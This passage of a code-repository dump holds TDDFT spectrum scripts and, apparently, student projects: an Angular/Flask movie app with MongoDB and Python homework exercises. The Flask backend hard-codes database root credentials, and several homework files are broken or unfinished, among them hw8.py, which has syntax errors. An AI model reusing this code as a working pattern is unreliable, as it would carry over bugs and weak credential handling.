fileinput.input():\n oscillators.append(map(float, line.split()))\n\n#print oscillators\n\nbroadening=0.025 #eV !\n\nfor wavelength in np.arange(200.,1000.,1.):\n cE=1239.84187/wavelength\n synesthesia=0.\n for oscillate in oscillators:\n E,nm,strength=oscillate\n synesthesia+= strength * np.exp(-(E-cE)**2/(2*broadening))\n print wavelength, synesthesia\n" }, { "alpha_fraction": 0.6604477763175964, "alphanum_fraction": 0.7350746393203735, "avg_line_length": 66, "blob_id": "7c4ce186ab18f6a1149dd1b93cd12a1f87a9f178", "content_id": "9e51c559a43be4598532123d9a4048e89eecbd64", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 268, "license_type": "no_license", "max_line_length": 87, "num_lines": 4, "path": "/TDDFT-radar-plots/generate_spectras.sh", "repo_name": "jarvist/tips-oscillator-strength-scripts", "src_encoding": "UTF-8", "text": ". rip_singlets.sh TMS/*Tv?*.log | python convolve.py > TMS/k01071_TV_all_spectra.dat\n . rip_singlets.sh TIPS/*TV?*.log | python convolve.py > TIPS/k01029_TV_all_spectra.dat\n. gnuplot_gpt_to_eps.sh TMS/k01071_spectra.gpt\n. gnuplot_gpt_to_eps.sh TIPS/k01029_spectra.gpt\n" }, { "alpha_fraction": 0.6388888955116272, "alphanum_fraction": 0.7314814925193787, "avg_line_length": 52.5, "blob_id": "e07e9659466063cdf57d36081a062b0f5421c686", "content_id": "94f387f0b32a3847b0f25f55c2ea2c1321e9a70b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 108, "license_type": "no_license", "max_line_length": 53, "num_lines": 2, "path": "/TDDFT-radar-plots/gen_radars.sh", "repo_name": "jarvist/tips-oscillator-strength-scripts", "src_encoding": "UTF-8", "text": " . gnuplot_gpt_to_eps.sh TIPS/k01029_TV_all_radar.gpt\n . gnuplot_gpt_to_eps.sh TMS/k01071_TV_all_radar.gpt\n" }, { "alpha_fraction": 0.6869245171546936, "alphanum_fraction": 0.7753222584724426, "avg_line_length": 44.16666793823242, "blob_id": "120e731a94e7ea281982d1a87a78a3b18d373fb4", "content_id": "f6d128a344dc33305e4c147fee916efabafa04be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 545, "license_type": "no_license", "max_line_length": 136, "num_lines": 12, "path": "/README.md", "repo_name": "jarvist/tips-oscillator-strength-scripts", "src_encoding": "UTF-8", "text": "Scripts and datafiles to extract information from Gaussian TDDFT calculations & plot the resulting oscillators...\n\nBy Jarvist Moore Frost 2012-2013, as used in:\n\nhttp://dx.doi.org/10.1021/nn403073d\n\nControlling Microstructure of Pentacene Derivatives by Solution Processing: Impact of Structural Anisotropy on Optoelectronic Properties\n\nDavid T. James , Jarvist M. Frost , Jessica Wade , Jenny Nelson , and Ji-Seon Kim\nDepartment of Physics & Centre for Plastic Electronics, Imperial College London, London SW7 2AZ, United Kingdom\nACS Nano, 2013, 7 (9), pp 7983–7991\nDOI: 10.1021/nn403073d\n\n" }, { "alpha_fraction": 0.6122449040412903, "alphanum_fraction": 0.6530612111091614, "avg_line_length": 14.076923370361328, "blob_id": "3bbb4cefa91e94e1e9fcb4e7940c839f8e8a5889", "content_id": "f2440867d7b83fc24b4d35507e582e02842a704a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 196, "license_type": "no_license", "max_line_length": 46, "num_lines": 13, "path": "/TDDFT-radar-plots/gnuplot_gpt_to_png.sh", "repo_name": "jarvist/tips-oscillator-strength-scripts", "src_encoding": "UTF-8", "text": "#First up against the wall,\n# when the revolution comes.\n\nfor i\ndo\n\n cat \"${i}\" - << EOF | gnuplot\nset terminal png giant size 1600,1200 enhanced\nset output \"${i%.*}.png\"\nreplot\nEOF\n\ndone\n" }, { "alpha_fraction": 0.6352941393852234, "alphanum_fraction": 0.7411764860153198, "avg_line_length": 13.166666984558105, "blob_id": "786de90f9732aca162853f47e6f25c4b26ad84a9", "content_id": "f8eb38469f43ecb828ebe0cb49acb204382eff83", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 85, "license_type": "no_license", "max_line_length": 23, "num_lines": 6, "path": "/PYMOL_visualisation_of_TDDFT_Gaussian_Oscillators/2012-02_worked_example_TIPS_TES/k01071_tipsTv2.py", "repo_name": "jarvist/tips-oscillator-strength-scripts", "src_encoding": "UTF-8", "text": "from pymol.cgo import *\nfrom pymol import cmd\nimport colorsys\nw=0.1\nh=0.25\nd=w*1.618\n" } ]
15
Andreja28/cloud-computing
https://github.com/Andreja28/cloud-computing
94c6946281bc68d8844905fe5647ec7e4ec88ebe
7112472ea0695f798725ea8ffa31cc403327ca94
5a0feacfdfae0e43677be75aa4de16d9a31c1ddf
refs/heads/master
2023-01-10T02:08:20.120357
2020-04-03T18:06:54
2020-04-03T18:06:54
252,803,970
0
0
null
2020-04-03T18:01:45
2020-04-03T18:07:24
2023-01-07T16:41:56
TypeScript
[ { "alpha_fraction": 0.5982142686843872, "alphanum_fraction": 0.5982142686843872, "avg_line_length": 15.142857551574707, "blob_id": "a68738fd313debfcce9082fd2e6b3897a52db87d", "content_id": "4122291167162334fa5d55b1d44c5190cb5a40f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 112, "license_type": "no_license", "max_line_length": 25, "num_lines": 7, "path": "/docker-compose/Frontend/src/app/models.ts", "repo_name": "Andreja28/cloud-computing", "src_encoding": "UTF-8", "text": "export class Movie {\n _id: string;\n name: string;\n casts: Array<string>;\n genres: Array<string>\n\n }" }, { "alpha_fraction": 0.7275000214576721, "alphanum_fraction": 0.7275000214576721, "avg_line_length": 32.33333206176758, "blob_id": "069e145777f5e9b5a03aac3c6339988322dddc29", "content_id": "a1b4000a80de9fd7408e4a7fa631e77cd19b0149", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 800, "license_type": "no_license", "max_line_length": 97, "num_lines": 24, "path": "/docker-compose/Frontend/src/app/movie-detail/movie-detail.component.ts", "repo_name": "Andreja28/cloud-computing", "src_encoding": "UTF-8", "text": "import { Component, OnInit } from '@angular/core';\nimport { Movie } from '../models'\nimport { Injectable } from '@angular/core';\nimport { HttpParams, HttpClient, HttpHeaders } from '@angular/common/http';\nimport { HttpErrorResponse, HttpResponse } from '@angular/common/http';\nimport { Observable, throwError } from 'rxjs';\nimport { environment } from 'src/environments/environment';\nimport { map } from'rxjs/operators';\nimport { Router, ActivatedRoute} from \"@angular/router\"\n\n@Component({\n selector: 'app-movie-detail',\n templateUrl: './movie-detail.component.html',\n styleUrls: ['./movie-detail.component.css']\n})\nexport class MovieDetailComponent implements OnInit {\n\n constructor(private http: HttpClient, private router:Router, private route: ActivatedRoute) { }\n\n ngOnInit() {\n \n }\n\n}\n" }, { "alpha_fraction": 0.6811294555664062, "alphanum_fraction": 0.6811294555664062, "avg_line_length": 27.47058868408203, "blob_id": "9ce80b510b1bbd383e70ac62154763abf479a078", "content_id": "0b334ba4b6f1de1e9ab7cc587dde17a32f4d94b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1452, "license_type": "no_license", "max_line_length": 82, "num_lines": 51, "path": "/docker-compose/Frontend/src/app/app.module.ts", "repo_name": "Andreja28/cloud-computing", "src_encoding": "UTF-8", "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\n\nimport { AppRoutingModule } from './app-routing.module';\nimport { AppComponent } from './app.component';\nimport { RouterModule, Routes } from '@angular/router';\nimport { PageNotFoundComponent } from './page-not-found/page-not-found.component';\nimport { MoviesComponent } from './movies/movies.component';\nimport { NewMovieComponent } from './new-movie/new-movie.component';\nimport { MovieDetailComponent } from './movie-detail/movie-detail.component';\nimport { HttpClientModule } from '@angular/common/http';\nimport { FormsModule } from '@angular/forms';\n\nconst appRoutes: Routes = [\n { path: 'new-movie', component: NewMovieComponent },\n { path: 'movies/:id', component: MovieDetailComponent },\n {\n path: 'movies',\n component: MoviesComponent,\n data: { title: 'Movies' }\n },\n { path: '',\n redirectTo: '/movies',\n pathMatch: 'full'\n },\n { path: '**', component: PageNotFoundComponent }\n];\n\n@NgModule({\n declarations: [\n AppComponent,\n PageNotFoundComponent,\n MoviesComponent,\n NewMovieComponent,\n MovieDetailComponent,\n ],\n imports: [\n RouterModule.forRoot(\n appRoutes,\n { enableTracing: true } // <-- debugging purposes only\n ),\n BrowserModule,\n AppRoutingModule,\n HttpClientModule,\n FormsModule\n \n ],\n providers: [],\n bootstrap: [AppComponent]\n})\nexport class AppModule { }\n" }, { "alpha_fraction": 0.4840182662010193, "alphanum_fraction": 0.689497709274292, "avg_line_length": 15.84615421295166, "blob_id": "bbf0289d3a4c431b7e0812dd1070f29fc3d3173a", "content_id": "8a96a43f0714b36ea50fa5787ac3dbf2ebba9a4d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 219, "license_type": "no_license", "max_line_length": 24, "num_lines": 13, "path": "/docker-compose/Backend/app/requirements.txt", "repo_name": "Andreja28/cloud-computing", "src_encoding": "UTF-8", "text": "click==7.1.1\nFlask==1.1.1\nFlask-Cors==3.0.8\nflask-mongoengine==0.9.5\nFlask-WTF==0.14.3\nitsdangerous==1.1.0\nJinja2==2.11.1\nMarkupSafe==1.1.1\nmongoengine==0.19.1\npymongo==3.10.1\nsix==1.14.0\nWerkzeug==1.0.1\nWTForms==2.2.1\n" }, { "alpha_fraction": 0.660287082195282, "alphanum_fraction": 0.6985645890235901, "avg_line_length": 12.125, "blob_id": "bfc2e514f91247e84941dc4203a7abdf9b2e283f", "content_id": "81dade313a192bfc0b466d39e7440494b22494f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 209, "license_type": "no_license", "max_line_length": 65, "num_lines": 16, "path": "/docker-compose/Backend/Dockerfile", "repo_name": "Andreja28/cloud-computing", "src_encoding": "UTF-8", "text": "FROM ubuntu:16.04\n\n\nRUN apt-get update -y && apt-get install -y python-pip python-dev\n\nWORKDIR /app\n\nCOPY /app /app\n\nRUN pip install -r requirements.txt\n\nEXPOSE 5000\n\nENTRYPOINT [ \"python\" ]\n\nCMD [ \"main.py\" ]" }, { "alpha_fraction": 0.6743362545967102, "alphanum_fraction": 0.6743362545967102, "avg_line_length": 26.786884307861328, "blob_id": "449089442aeb2485ec67858a861bbbaa2e16ac32", "content_id": "f4c8d68ecfa150f4ccc10591280aadb7fd99926e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1695, "license_type": "no_license", "max_line_length": 135, "num_lines": 61, "path": "/docker-compose/Frontend/src/app/movies/movies.component.ts", "repo_name": "Andreja28/cloud-computing", "src_encoding": "UTF-8", "text": "import { Component, OnInit } from '@angular/core';\nimport { Movie } from '../models'\nimport { Injectable } from '@angular/core';\nimport { HttpParams, HttpClient, HttpHeaders } from '@angular/common/http';\nimport { HttpErrorResponse, HttpResponse } from '@angular/common/http';\nimport { Observable, throwError } from 'rxjs';\nimport { environment } from 'src/environments/environment';\nimport { map } from'rxjs/operators';\nimport { Router} from \"@angular/router\"\n\n@Component({\n selector: 'app-movies',\n templateUrl: './movies.component.html',\n styleUrls: ['./movies.component.css']\n})\n\n\n\nexport class MoviesComponent implements OnInit {\n\n constructor(private http: HttpClient, private router:Router) { }\n movies: Movie[]\n headers = new HttpHeaders();\n newMovie: Movie = new Movie()\n\n ngOnInit() {\n this.getAllMovies()\n this.newMovie.casts=[\"proba\"]\n this.newMovie.genres=[\"proba\"]\n this.newMovie.name = \"\"\n\n \n this.headers.set(\"Access-Control-Allow-Origin\",\"*\")\n }\n\n getAllMovies(){\n this.http.get<Movie[]>(environment.apiUrl+\"/movies\", {headers:this.headers}).subscribe(res=>{\n this.movies = res\n console.log(this.movies)\n })\n }\n\n\n delete(movie: Movie){\n console.log(JSON.parse(JSON.stringify(movie._id)))\n this.http.delete(environment.apiUrl+\"/movies/\"+JSON.parse(JSON.stringify(movie._id)).$oid, {headers:this.headers}).subscribe(res=>{\n this.getAllMovies()\n })\n \n }\n \n \n addMovie(){\n this.headers.set(\"Content-Type\",\"application/json\");\n this.http.post(environment.apiUrl+\"/movies\",this.newMovie,{headers:this.headers}).subscribe(res=>{\n this.getAllMovies()\n this.headers.delete(\"Content-Type\");\n })\n }\n\n}\n" }, { "alpha_fraction": 0.6451048851013184, "alphanum_fraction": 0.6538461446762085, "avg_line_length": 22.85416603088379, "blob_id": "bfcc39f0b508d871631cd10a5fac4000510c37db", "content_id": "48d36f79715358272b07d433518652ac29b9b198", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1144, "license_type": "no_license", "max_line_length": 76, "num_lines": 48, "path": "/docker-compose/Backend/app/main.py", "repo_name": "Andreja28/cloud-computing", "src_encoding": "UTF-8", "text": "from flask import Flask, request, Response\nfrom database.db import initialize_db\nfrom database.models import Movie\nfrom flask_cors import CORS\n\n\napp = Flask(__name__)\nCORS(app)\n\n\napp.config['MONGODB_SETTINGS'] = {\n 'host': 'mongodb://root:rootpassword@localhost/movies?authSource=admin',\n}\n\ninitialize_db(app)\n\n\[email protected]('/movies')\ndef get_movies():\n movies = Movie.objects().to_json()\n return Response(movies, mimetype=\"application/json\", status=200)\n\[email protected]('/movie/<id>')\ndef get_movie():\n movie = Movie.objects(id=id)\n return movie, 200\n\[email protected]('/movies', methods=['POST'])\ndef add_movie():\n body = request.get_json()\n movie = Movie(**body).save()\n id = movie.id\n return {'id': str(id)}, {'Access-Control-Allow-Origin': '*'}\n\n\[email protected]('/movies/<id>', methods=['PUT'])\ndef update_movie(id):\n body = request.get_json()\n Movie.objects.get(id=id).update(**body)\n return '',{'Access-Control-Allow-Origin': '*'}\n\n\[email protected]('/movies/<id>', methods=['DELETE'])\ndef delete_movie(id):\n Movie.objects.get(id=id).delete()\n return '', {'Access-Control-Allow-Origin': '*'}\n\napp.run(host=\"0.0.0.0\")" } ]
7
RomanDH/h_works
https://github.com/RomanDH/h_works
437573896386bf794b7b425e8cbff9c9fa9291c9
dcf8bc61070f65a99b02e9a70a8331cd5c4dc7b0
e327fc120a9b33b228e5dae511ecaefc1c45bb75
refs/heads/master
2021-03-05T03:14:46.537070
2020-04-04T14:07:40
2020-04-04T14:07:40
246,090,798
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5185185074806213, "alphanum_fraction": 0.5277777910232544, "avg_line_length": 17, "blob_id": "6b45ef206e111016eaad5fbb2d2f768602fe207c", "content_id": "7cef3f0213b2f11cc489eccff7f620ecbed6e820", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 216, "license_type": "no_license", "max_line_length": 32, "num_lines": 12, "path": "/hw6_2.1.1.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "text = input('Input your text:')\n\n\ndef acro(text):\n new_text = text[0]\n for i in range(len(text)):\n if text[i - 1] == ' ':\n new_text += text[i]\n return new_text.upper()\n\n\nprint(acro(text))\n" }, { "alpha_fraction": 0.7198581695556641, "alphanum_fraction": 0.7482269406318665, "avg_line_length": 19.14285659790039, "blob_id": "f675648ccb120253831fa42b1412a5da7b5b68b2", "content_id": "89915b7788203b484fac7ba74fa37f2abf11e50b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 282, "license_type": "no_license", "max_line_length": 44, "num_lines": 14, "path": "/hw2_2.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "mkdir hw2_2\ncd hw2_2\ngit init\n> file.py\ngit add file.py\ngit commit -m\"initial commit\"\nnano file.py\ngit commit -m\"Some very interesting feature\"\n> file1.py\ngit add file1.py\ngit commit -m\"Another cool feature\"\nnano file1.py\ngit add file1.py\ngit commit -m\"We are feature-complite : )\"\n" }, { "alpha_fraction": 0.7401574850082397, "alphanum_fraction": 0.7559055089950562, "avg_line_length": 17.14285659790039, "blob_id": "a589f10468e19aeebc1f35e2bdc1ff9e23894e8d", "content_id": "cb29f02d6001c921f5dbbf399c8987e5df4cce34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 254, "license_type": "no_license", "max_line_length": 36, "num_lines": 14, "path": "/hw2_3.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "mkdir hw2_3\ncd hw2_3\ngit init\n> file.py\ngit add file.py\ngit commit -m\"initial commit\"\nnano file.py\ngit add file.py\ngit commit -m\"Ready for release\"\ngit branch new_ver\ngit checkout new_ver\nnano file.py\ngit add file.py\ngit commit -m\"working peace of code\"\n" }, { "alpha_fraction": 0.46000000834465027, "alphanum_fraction": 0.46000000834465027, "avg_line_length": 24, "blob_id": "722ca271491778d5c37e4c057a711505c2fed256", "content_id": "a6244e2bfbf6c401ef6d576899350ca582690b5a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 100, "license_type": "no_license", "max_line_length": 43, "num_lines": 4, "path": "/hw5_1.1.1.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "inp = int(input('Input:'))\nx = '*'\nfor i in range(inp):\n print(x, x * i, '\\n', x, x * i, sep='')\n" }, { "alpha_fraction": 0.4965035021305084, "alphanum_fraction": 0.5762237906455994, "avg_line_length": 38.66666793823242, "blob_id": "ba1af2c9c7fb11d2159f07d6a98452ae2515927e", "content_id": "5cd6e7f1c14497e499245e15a083c471b2abb8f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 715, "license_type": "no_license", "max_line_length": 88, "num_lines": 18, "path": "/hw4_1.3.3.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "import random\nlog = input('Login:')\npassw = input('Password:')\ndict = {'Serg':['sss',random.randint(1,1000)], 'Lena':['lll',random.randint(1,1000)],\n 'Koly':['kkk',random.randint(1,1000)], 'Nika':['nnn',random.randint(1,1000)],\n 'Sveta':['sss',random.randint(1,1000)], 'Nikita':['nnn',random.randint(1,1000)],\n 'Bill':['bbb',random.randint(1,1000)], 'Den':['ddd',random.randint(1,1000)],\n 'Artur':['aaa',random.randint(1,1000)], 'Vas':['vvv',random.randint(1,1000)],}\nif log not in dict:\n passw\n print(random.randint(1, 1000))\nelse:\n true_log = dict[log]\n if passw in true_log:\n if passw == true_log[1]:\n passw\n else:\n print(true_log[1])\n\n" }, { "alpha_fraction": 0.5618420839309692, "alphanum_fraction": 0.5618420839309692, "avg_line_length": 21.323530197143555, "blob_id": "3a70c679b1314f84e65a2f5e057fd6c060e80261", "content_id": "647c6df53be8e226a0f2d9863e3e291b3fc0f144", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 760, "license_type": "no_license", "max_line_length": 40, "num_lines": 34, "path": "/hw9_1.1.1/hw9_1.1.1.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "def encrypt(str, int):\n \"\"\"\n Encrypts with Caesar's Cipher.\n :param str\n :param int\n :return encrypt str\n \"\"\"\n index_result = []\n encrypt_result = []\n\n for i in str:\n index = ord(i)\n index_result.append(index + int)\n for j in index_result:\n encrypt_result.append(chr(j))\n return ''.join(encrypt_result)\n\n\ndef decrypt(str, int):\n \"\"\"\n Decipher Caesar Cipher.\n :param str == def.encrypt(str, ...)\n :param int == def.encrypt(..., int)\n :return decrypt str\n \"\"\"\n index_result = []\n decrypt_result = []\n\n for i in str:\n index = ord(i)\n index_result.append(index - int)\n for j in index_result:\n decrypt_result.append(chr(j))\n return ''.join(decrypt_result)\n\n" }, { "alpha_fraction": 0.429193913936615, "alphanum_fraction": 0.4313725531101227, "avg_line_length": 21.950000762939453, "blob_id": "7e35c5f02cfa03dcabb5f7be98b6004d5cdf79cc", "content_id": "1880872cf16cb0b60f4d7bbeaa6ad950514569d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 459, "license_type": "no_license", "max_line_length": 52, "num_lines": 20, "path": "/hw7_1.2.2.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "def checker(string):\n \"\"\"checker checks for parentheses\n\n :type string: str\n :type return: False\n \"\"\"\n stack = []\n parent_dic = {\n '{': '}',\n '(': ')',\n '[': ']',\n }\n for i in string:\n if i in parent_dic.keys():\n stack.append(i)\n elif i in parent_dic.values():\n if stack and parent_dic[stack[-1]] == i:\n stack.pop()\n else:\n return False\n" }, { "alpha_fraction": 0.5365853905677795, "alphanum_fraction": 0.5609756112098694, "avg_line_length": 29.75, "blob_id": "e596544b9ddcc22338b79ec3fd5a55af29ea796d", "content_id": "56ef79c0e5c538309771181bd89e22a1b9a308e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 246, "license_type": "no_license", "max_line_length": 50, "num_lines": 8, "path": "/hw5_1.2.2.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "num = int(input('Input:'))\nnot_sifted = list(range(num + 1))\nnot_sifted[1] = 0\nfor i in not_sifted:\n if i > 1:\n for j in range(i + i, len(not_sifted), i):\n not_sifted[j] = 0\nprint(*list(filter(lambda x: x != 0, not_sifted)))\n" }, { "alpha_fraction": 0.5251641273498535, "alphanum_fraction": 0.5273522734642029, "avg_line_length": 21.799999237060547, "blob_id": "c968b0f94a19063209af3273cf485ec2df4c5fcf", "content_id": "54be53275484245cc1fba71f716ea7d13d8ba0af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 457, "license_type": "no_license", "max_line_length": 36, "num_lines": 20, "path": "/hw9_1.3.3.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "def most_com(str):\n \"\"\"\n Return most common symbol\n :param str: path\n :return str: most common symbol\n \"\"\"\n from collections import Counter\n file = open(str)\n read_file = file.read()\n indexes = []\n for i in read_file:\n if i == ' ':\n del (i)\n else:\n indexes.append(ord(i))\n c = Counter(indexes)\n max_val_ = list(c.elements())[0]\n res = chr(max_val_)\n file.close()\n return res\n\n" }, { "alpha_fraction": 0.5150214433670044, "alphanum_fraction": 0.5278970003128052, "avg_line_length": 16.923076629638672, "blob_id": "e95f31bbb9002f023db37a44746cc32a67642d35", "content_id": "6c3d1d9519f8e1d4b0f6b85e6cdf7b232960bd2c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 233, "license_type": "no_license", "max_line_length": 41, "num_lines": 13, "path": "/hw6_2.2.2.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "num = int(input('Input:'))\n\n\ndef all_divi(int):\n list_to_num = list(range(1, num + 1))\n new_list = []\n for i in list_to_num:\n if num % i == 0:\n new_list.append(i)\n return new_list\n\n\nprint(all_divi(num))\n" }, { "alpha_fraction": 0.6302521228790283, "alphanum_fraction": 0.7310924530029297, "avg_line_length": 18.83333396911621, "blob_id": "02aef3dd39454959be7bf7a869a1a605aed15d24", "content_id": "4fae65225d990273a3f62ced8e5696d694c53a7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 119, "license_type": "no_license", "max_line_length": 42, "num_lines": 6, "path": "/hw4_1.2.2.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "import random\n\ngen_random = random.randint(1000, 1000000)\nprint(gen_random)\nto_str = str(gen_random)\nprint(to_str[-4])\n" }, { "alpha_fraction": 0.7461538314819336, "alphanum_fraction": 0.7615384459495544, "avg_line_length": 19, "blob_id": "5879e4c9beaeebf55e3f93eba34465b3fa1a3422", "content_id": "167aa767b5ac0df2f4217776233d4d1bc0dbd3bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 260, "license_type": "no_license", "max_line_length": 61, "num_lines": 13, "path": "/hw2_4.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "mkdir hw2_4\ncd hw2_4\ngit init\n> file.py\ngit add file.py\ngit commit -m\"initial commit\"\nnano file.py\ngit commit -m\"That a feature everybody will definitly enjoy!\"\ngit branch new_ver\ngit checkout new_ver\nnano file.py\ngit add file.py\ngit commit -m\"Feeling risky!\"\n" }, { "alpha_fraction": 0.523809552192688, "alphanum_fraction": 0.5595238208770752, "avg_line_length": 21.909090042114258, "blob_id": "1a26be45d0e2081f62fa150176e71e1a573aee48", "content_id": "3a2ace9689e9291e7ada94c2b15ec00a918374e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 292, "license_type": "no_license", "max_line_length": 51, "num_lines": 11, "path": "/hw5_1.3.3.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "while True:\n try:\n inpu = int(input('Input:'))\n except ValueError:\n print('введите число')\n else:\n break\nif inpu % 4 != 0 or inpu % 400 != 0 and inpu % 100:\n print('Высокосный год')\nelse:\n print('Не высокосный год')\n" }, { "alpha_fraction": 0.5657253861427307, "alphanum_fraction": 0.5657253861427307, "avg_line_length": 26.7297306060791, "blob_id": "a490d18876ad36f122f94e7bfabf038837110877", "content_id": "8309f938e6cfd4a38040c1361a195a7ab35a3d81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1180, "license_type": "no_license", "max_line_length": 88, "num_lines": 37, "path": "/hw8.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "import os\n\n\ndef check_dir(path):\"\"\"\n Shows the contents of the directory [path, dirs, files]\n :param str: path\n :return list: [path, dirs, files]\n \"\"\"\n var_dir = []\n var_files = []\n for i in os.listdir(path):\n new_path = path + '/' + i\n if os.path.isdir(new_path):\n var_dir.append(new_path)\n else:\n var_files.append(new_path)\n return [path, var_dir, var_files]\n\n\ndef my_walk(path):\n dir_cont = []\n files = []\n result = []\n if os.path.isfile(path):\n files.append(path)\n else:\n if os.path.isdir(path):\n dir_cont.append(path)\n result.append(check_dir(path)) # в result вернёт списки вложенные в список.\n # для решения проблемы вложенности списков,...\n # ...вероятно необходима еще одна рекурсия\n\n for next_step in result:\n if next_step != []:\n # return my_walk(next_step), result\n # путь my_walk() должен быть строкой, а не списком..\n # ..тем более c вложенным списком\n\n" }, { "alpha_fraction": 0.5779816508293152, "alphanum_fraction": 0.6238532066345215, "avg_line_length": 20.799999237060547, "blob_id": "cc32beff55d8eb54e5e1f1aa4c12fc46909769a3", "content_id": "a90a68f69cb0754eb2e7dce999bf5da81d791592", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 109, "license_type": "no_license", "max_line_length": 28, "num_lines": 5, "path": "/hw4_1.4.4.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "inp = list(input('Input:'))\ninp1 = list(input('Input:'))\ninp + inp1\ninp2 = list(input('Input:'))\ninp1 + inp2\n" }, { "alpha_fraction": 0.5748031735420227, "alphanum_fraction": 0.6929134130477905, "avg_line_length": 17.14285659790039, "blob_id": "d4da1c231135a4975298300354fdb02a70b83d50", "content_id": "c8934f5de241d8ed9c5da54209cb4f480eb8d279", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 127, "license_type": "no_license", "max_line_length": 21, "num_lines": 7, "path": "/hw3_2.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "term1 = 12\nterm2 = 3\nprint(term1 + term2)\nprint(term1 - term2)\nprint(term1 * term2)\nprint(term1 / term2)\nprint(term1 ** term2)\n" }, { "alpha_fraction": 0.6204819083213806, "alphanum_fraction": 0.7168674468994141, "avg_line_length": 10.857142448425293, "blob_id": "fe9e4d55560f0125165abf80a53165ea12b1fd1a", "content_id": "eb67f97cc83afb19a239c475bf405983e129b656", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 166, "license_type": "no_license", "max_line_length": 25, "num_lines": 14, "path": "/hw2_1.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "mkdir hw2_1\ncd hw2_1/\nmkdir foo1 foo2 foo3 foo4\ncd foo1/\nnano bar1.py\ncd ..\ncd foo2/\nnano bar2.py\ncd ..\ncd foo3/\nnano foo4\nmkdir spam\ncd spam/\nnano eggs1.py eggs2.py\n" }, { "alpha_fraction": 0.5563380122184753, "alphanum_fraction": 0.5586854219436646, "avg_line_length": 21.421052932739258, "blob_id": "1dc9fca5bbec962b821fcce074d6f33ed8e1002d", "content_id": "8281d417ceacfda10ffcc865876127813b18d911", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 426, "license_type": "no_license", "max_line_length": 69, "num_lines": 19, "path": "/hw9_1.2.2.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "def second_val(list):\n \"\"\"\n Takes the list and return second largest value at the list(ASCII)\n :param : list\n :return str: second largest value\n \"\"\"\n str_list = []\n indexes = []\n for i in list:\n str_list += str(i)\n\n for j in str_list:\n indexes.append(ord(j))\n to_set = set(indexes)\n res_list = []\n\n for val in to_set:\n res_list.append(val)\n return chr(res_list[-1])\n" }, { "alpha_fraction": 0.4633123576641083, "alphanum_fraction": 0.4779874086380005, "avg_line_length": 25.5, "blob_id": "16db8bfa948bb13e9bddad978be1bb72fb538af3", "content_id": "668d55cec76ef7389a4d052dd51305c9c7a5aa1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 477, "license_type": "no_license", "max_line_length": 49, "num_lines": 18, "path": "/hw4_1.1.1.py", "repo_name": "RomanDH/h_works", "src_encoding": "UTF-8", "text": "number1 = int(input('number1:'))\nsign = input('operations:')\nif sign == 'sqrt':\n sqrt = lambda x: x * x\n print(sqrt(number1))\nelse:\n number2 = int(input('number2:'))\n lambda_var = {\n '+': lambda x, y: 